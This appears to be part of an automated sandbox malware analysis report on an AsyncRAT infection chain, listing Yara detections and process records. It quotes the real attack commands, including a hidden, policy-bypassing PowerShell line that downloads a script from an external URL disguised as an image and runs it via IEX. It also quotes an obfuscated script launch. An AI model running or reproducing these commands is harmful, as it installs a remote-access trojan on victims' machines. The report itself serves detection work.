Source: Yara match	File source: 19.2.powershell.exe.25701854fd0.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701870610.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.257018be6f0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.powershell.exe.25701870610.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000015.00000002.3894017282.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1753014941.0000025702269000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1753014941.0000025701869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.1753014941.00000257013AA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1012, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: aspnet_compiler.exe PID: 6676, type: MEMORYSTR

System Summary

Malicious sample detected (through community Yara rule)

Source: Pe4905VGl1.bat, type: SAMPLE	Matched rule: Detects powershell keyword obfuscated with carets Author: Florian Roth
Source: amsi64_2216.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 19.2.powershell.exe.25702485170.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 21.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 19.2.powershell.exe.25702485170.7.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 19.2.powershell.exe.257018be6f0.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 21.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 19.2.powershell.exe.257018be6f0.2.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 19.2.powershell.exe.25702485170.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 19.2.powershell.exe.25702485170.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 19.2.powershell.exe.25701854fd0.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 19.2.powershell.exe.25701854fd0.5.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 19.2.powershell.exe.25701854fd0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 19.2.powershell.exe.25701854fd0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 19.2.powershell.exe.25701870610.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 19.2.powershell.exe.25701870610.0.unpack, type: UNPACKEDPE	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 19.2.powershell.exe.257018be6f0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 19.2.powershell.exe.25701870610.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 00000015.00000002.3894017282.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 00000015.00000002.3894017282.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen
Source: 00000013.00000002.1753014941.0000025702269000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 00000013.00000002.1753014941.0000025701869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: 00000013.00000002.1753014941.00000257013AA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 Author: unknown
Source: Process Memory Space: powershell.exe PID: 2216, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: aspnet_compiler.exe PID: 6676, type: MEMORYSTR	Matched rule: Detects file containing reversed ASEP Autorun registry keys Author: ditekSHen

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\AXAGFIIEZBBS.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\AMRKKUAMRKKsAMRKKeAMRKKrAMRKKs\PAMRKKuAMRKKbAMRKKlAMRKKiAMRKKc\LMKGJHPBNG.ps1'.replace('AMRKK','')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwerShEll -WindowStyle hidden -ExecutionPolicy bypass -Command "[System.Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object Net.WebClient),'DownloadString',[Microsoft.VisualBasic.CallType]::Method,'https://almamas.com.ly/wblwxiun.rtw/pnilrykd.jpg')\|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\Public\AXAGFIIEZBBS.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoProfile -ExecutionPolicy Bypass -Command "& 'C:\AMRKKUAMRKKsAMRKKeAMRKKrAMRKKs\PAMRKKuAMRKKbAMRKKlAMRKKiAMRKKc\LMKGJHPBNG.ps1'.replace('AMRKK','')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4B16DAF6	4_2_00007FFB4B16DAF6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4B16E8A2	4_2_00007FFB4B16E8A2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4B178B0C	4_2_00007FFB4B178B0C
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4B178B95	4_2_00007FFB4B178B95
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FFB4B1631AA	4_2_00007FFB4B1631AA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 19_2_00007FFB4B1625AD	19_2_00007FFB4B1625AD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 21_2_00CCE508	21_2_00CCE508

Source: Pe4905VGl1.bat, type: SAMPLE	Matched rule: SUSP_PowerShell_Caret_Obfuscation_2 date = 2019-07-20, author = Florian Roth, description = Detects powershell keyword obfuscated with carets, reference = Internal Research
Source: amsi64_2216.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 19.2.powershell.exe.25702485170.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 21.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 19.2.powershell.exe.25702485170.7.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 19.2.powershell.exe.257018be6f0.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 21.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 19.2.powershell.exe.257018be6f0.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 19.2.powershell.exe.25702485170.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 19.2.powershell.exe.25702485170.7.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 19.2.powershell.exe.25701854fd0.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 19.2.powershell.exe.25701854fd0.5.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 19.2.powershell.exe.25701854fd0.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 19.2.powershell.exe.25701854fd0.5.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 19.2.powershell.exe.25701870610.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 19.2.powershell.exe.25701870610.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 19.2.powershell.exe.257018be6f0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 19.2.powershell.exe.25701870610.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 00000015.00000002.3894017282.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 00000015.00000002.3894017282.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 00000013.00000002.1753014941.0000025703E64000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys
Source: 00000013.00000002.1753014941.0000025702269000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 00000013.00000002.1753014941.0000025701869000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: 00000013.00000002.1753014941.00000257013AA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Asyncrat_11a11ba1 reference_sample = fe09cd1d13b87c5e970d3cbc1ebc02b1523c0a939f961fc02c1395707af1c6d1, os = windows, severity = x86, creation_date = 2021-08-05, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Asyncrat, fingerprint = 715ede969076cd413cebdfcf0cdda44e3a6feb5343558f18e656f740883b41b8, id = 11a11ba1-c178-4415-9c09-45030b500f50, last_modified = 2021-10-04
Source: Process Memory Space: powershell.exe PID: 2216, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: aspnet_compiler.exe PID: 6676, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse author = ditekSHen, description = Detects file containing reversed ASEP Autorun registry keys

Source: 19.2.powershell.exe.25703985aa8.4.raw.unpack, c49e11983285d4ab2e059050de6df5a41.cs	Cryptographic APIs: 'TransformFinalBlock', 'TransformBlock'
Source: 19.2.powershell.exe.2576eee0000.8.raw.unpack, c49e11983285d4ab2e059050de6df5a41.cs	Cryptographic APIs: 'TransformFinalBlock', 'TransformBlock'

Source: 19.2.powershell.exe.25702485170.7.raw.unpack, jlsfKWsjaVv.cs	Base64 encoded string: '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', 'nRv20pY7uhKCOgv4rOWdh0m5CUOmDH8tXQN
Source: 19.2.powershell.exe.25701854fd0.5.raw.unpack, jlsfKWsjaVv.cs	Base64 encoded string: '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